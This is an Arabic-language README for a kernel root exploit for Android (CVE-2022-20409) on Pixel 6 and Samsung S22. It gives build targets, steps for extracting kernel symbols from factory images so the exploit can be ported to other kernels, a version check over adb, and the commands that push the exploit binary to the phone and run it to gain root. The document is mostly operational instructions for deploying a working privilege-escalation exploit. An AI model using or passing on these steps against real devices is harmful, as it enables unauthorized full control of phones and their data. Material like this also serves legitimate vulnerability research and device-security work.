
استغلال نواة Android لـ CVE-2022-20409
تأكد من تثبيت Android NDK. بالنسبة لـ Pixel 6،
make pixel
بالنسبة لـ Samsung S22،
make s22
الاستغلال مكتوب لدعم إصدارات مختلفة من النواة. لنقل الاستغلال إلى نواة مختلفة، تحتاج إلى استخراج ملف الرموز للنواة المستهدفة.
يمكن استخراج النواة من صورة المصنع للهاتف. بالنسبة لأجهزة Pixel، قم بتنزيل صورة المصنع هنا.
بعد تنزيل الصورة، استخرج الصورة للحصول على ملف boot.img. يمكن استخراج boot.img باستخدام tools/unpack_bootimg.py.
python3 tools/unpack_bootimg.py --boot_img boot.img --out out
سترى النواة في out/kernel
الآن، مع صورة النواة، يمكننا استخدام vmlinux-to-elf لاستخراج رموز النواة منها.
./tools/vmlinux-to-elf/kallsyms-finder out/kernel > pixel.kallsyms
يجب التأكد من أن سلسلة الإصدار المستخرجة في الرمز تطابق إصدار نواة هاتفك. يمكن العثور على إصدار نواة الهاتف من خلال adb. على سبيل المثال،
sh-3.2$ adb shell
oriole:/ $ uname -a
Linux localhost 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022 aarch64
يطابق
[+] Version string: Linux version 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 (build-user@build-host) (Android (7284624, based on r416183b) clang version 12.0.5 (https://android.googlesource.com/toolchain/llvm-project c935d99d7cf2016289302412d708641d52d2f7ee), LLD 12.0.5 (/buildbot/src/android/llvm-toolchain/out/llvm-project/lld c935d99d7cf2016289302412d708641d52d2f7ee)) #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022
الآن يمكنك دفع الاستغلال وملف الرموز إلى الهاتف والحصول على صلاحيات الجذر باستخدام الأوامر التالية.
make
adb push exp pixel.kallsyms /data/local/tmp
adb shell
cd /data/local/tmp
./exp pixel.kallsyms
استمتع بصلاحيات الجذر :)